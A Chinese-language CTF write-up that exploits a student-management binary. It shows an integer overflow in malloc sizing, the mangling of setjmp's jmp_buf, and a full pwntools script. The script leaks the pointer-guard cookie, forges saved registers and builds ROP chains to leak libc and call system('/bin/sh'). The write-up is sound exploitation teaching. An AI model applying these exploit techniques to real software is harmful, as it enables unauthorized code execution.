漏洞类型:整数溢出
程序入口
Welcome to my class!
Please input the number of the student:10
1. Add Student
2. Show Student
3. Edit Student
4. Delete Student
5. Exit
>>
感觉比较像是和堆有关,实际上并不是。在init
函数里面,有这样一段代码
g_class *init(void)
{
g_class *result; // rax@6
__int64 v1; // [sp+8h] [bp-8h]@1
puts("Welcome to my class!");
printf("Please input the number of the student:");
v1 = read_int();
if ( v1 <= 29 )
v1 = 30LL;
g_class = (g_class *)malloc(200 * v1 + 8);
if ( !g_class )
{
puts("malloc fail");
exit(0);
}
memset(g_class, 0, 200 * v1 + 8);
result = g_class;
g_class->student[0].total = v1;
return result;
}
malloc
函数的参数源于我们输入的整数乘以200
后加8
,那么在给定一个比较大且合适的数将会使得整数溢出,从而可以只分配一小块内存
In [3]: (1 << 64) / 200
Out[3]: 92233720368547758L
In [4]: hex(92233720368547758 * 200 + 8)
Out[4]: '0xfffffffffffffff8L'
In [5]: hex(92233720368547759 * 200 + 8)
Out[5]: '0x100000000000000c0L'
因此,只要输入92233720368547759
就可以将分配的内存限制在0xc0
。完成了这一步,我们基本上就可以泄露堆上的大部分内存数据。接下来就是比较有意思的地方,程序并没有使用while
来实现循环,而是使用了setjmp
和longjmp
来实现【原理参见】,其中涉及到的数据结构为jmp_buf
。相关调用代码
jmp_buf = (struct __jmp_buf_tag *__attribute__((__org_arrdim(0,1))) )malloc(0xC8uLL);
if ( _setjmp(jmp_buf) == 0 )
handle();
其在堆中的结构如下:
0x55ede4e890d0: 0x0 0xd1
0x55ede4e890e0: 0x0 0x59b8f88abca1ad76
0x55ede4e890f0: 0x55ede442caa0 <_start> 0x7ffc0aa1bfd0
0x55ede4e89100: 0x0 0x0
0x55ede4e89110: 0x59b8f88abca1ad76 0xd9b254c686bad76
跟踪setjmp
函数,不难发现,部分数据加入了异或处理
Dump of assembler code for function __sigsetjmp:
=> 0x00007f77c501acf0 <+0>: mov QWORD PTR [rdi],rbx
0x00007f77c501acf3 <+3>: mov rax,rbp
0x00007f77c501acf6 <+6>: xor rax,QWORD PTR fs:0x30
0x00007f77c501acff <+15>: rol rax,0x11
0x00007f77c501ad03 <+19>: mov QWORD PTR [rdi+0x8],rax
0x00007f77c501ad07 <+23>: mov QWORD PTR [rdi+0x10],r12
0x00007f77c501ad0b <+27>: mov QWORD PTR [rdi+0x18],r13
0x00007f77c501ad0f <+31>: mov QWORD PTR [rdi+0x20],r14
0x00007f77c501ad13 <+35>: mov QWORD PTR [rdi+0x28],r15
0x00007f77c501ad17 <+39>: lea rdx,[rsp+0x8]
0x00007f77c501ad1c <+44>: xor rdx,QWORD PTR fs:0x30
0x00007f77c501ad25 <+53>: rol rdx,0x11
0x00007f77c501ad29 <+57>: mov QWORD PTR [rdi+0x30],rdx
0x00007f77c501ad2d <+61>: mov rax,QWORD PTR [rsp]
0x00007f77c501ad31 <+65>: xor rax,QWORD PTR fs:0x30
0x00007f77c501ad3a <+74>: rol rax,0x11
0x00007f77c501ad3e <+78>: mov QWORD PTR [rdi+0x38],rax
0x00007f77c501ad42 <+82>: jmp 0x7f77c501ad50 <__sigjmp_save>
setjmp
将rbx
,r12
,r13
,r14
,r15
,rsp+8
,rdx
,[rsp]
都保存了下来。弄清楚了jmp_buf
,后面的任务就是通过show
操作泄露出这些寄存器的值,接着通过edit
操作伪造数据,最后控制EIP
。完整代码如下:
from pwn import *
debug = 1
slog = 0
p = process('./class')
if slog: context.log_level = True
def add_ret(vstr, length):
if len(vstr) < length and not vstr.endswith('\n'):
return vstr + '\n'
else:
return vstr
def rerol(d):
return ((d << (64-0x11))+(d >> 0x11)) & 0xffffffffffffffff
def rol(d):
return ((d << 0x11) + (d >> (64 - 0x11))) & 0xffffffffffffffff
def add(name, age, addr, introduce):
p.recvuntil('Exit')
p.sendline('1')
p.recvuntil('name')
p.send(add_ret(name, 0x20))
p.recvuntil('age')
p.send(add_ret(str(age), 0x2f))
p.recvuntil('addr')
p.send(add_ret(addr, 0x40))
p.recvuntil('introduce')
p.send(add_ret(introduce, 0x58))
def show(index):
p.recvuntil('Exit')
p.sendline('2')
p.recvuntil('number')
p.sendline(str(index))
def edit(index, name, age, addr, introduce):
p.recvuntil('Exit')
p.sendline('3')
p.recvuntil('number')
p.sendline(str(index))
p.recvuntil('name')
p.sendline(name)
p.recvuntil('age')
p.sendline(str(age))
p.recvuntil('addr')
p.sendline(addr)
p.recvuntil('introduce')
p.sendline(introduce)
if debug: gdb.attach(p, open('debug'))
p.recvuntil('student:')
p.sendline('92233720368547759')
# 泄露寄存器的值
show(1)
p.recvuntil('name:')
r12 = u64(p.recvuntil(',')[:-1].ljust(8, '\x00'))
print 'r12', hex(r12)
p.recvuntil('addr:')
enc_rsp = u64(p.recv(8))
enc_rip = u64(p.recvuntil(',')[:-1].ljust(8, '\x00'))
code_base = r12 - 0xaa0
print 'enc_rsp', hex(enc_rsp)
print 'enc_rip', hex(enc_rip)
real_rip = code_base + 0x1495
cookie = rerol(enc_rip) ^ real_rip
print 'cookie', hex(cookie)
real_rsp = rerol(enc_rsp) ^ cookie
print 'real_rsp', hex(real_rsp)
fake_rsp = real_rsp - 0x48
pop_rdi_ret = code_base + 0x000000000001523
# 伪造寄存器数据
addr = p64(rol(fake_rsp ^ cookie)) + p64(rol(pop_rdi_ret ^ cookie))
edit(1, '', 0, addr, '')
p.recvuntil('>>')
payload = '5;' + 'a' * 6
#布置rop泄露puts函数地址
puts_got = 0x0000000000202018 + code_base
puts_plt = 0x9a0 + code_base
main_ret = code_base + 0x0000000000001355
payload += p64(puts_got) + p64(puts_plt) + p64(main_ret)
p.sendline(payload)
put_addr = u64(p.recvline()[:-1].ljust(8, '\x00'))
print 'put addr is ', hex(put_addr)
libc_base = put_addr - 0x68f60
system_addr = libc_base + 0x3f460
print 'system addr is ', hex(system_addr)
bin_sh = libc_base + 0x161879
print '/bin/sh addr is ', hex(bin_sh)
# 布置rop获取shell
addr = p64(rol((fake_rsp - 0x28) ^ cookie)) + p64(rol(pop_rdi_ret ^ cookie))
edit(1, '', 0, addr, '')
payload = '5;' + 'a' * 6
payload += p64(bin_sh) + p64(system_addr) + p64(main_ret)
p.sendline(payload)
p.interactive()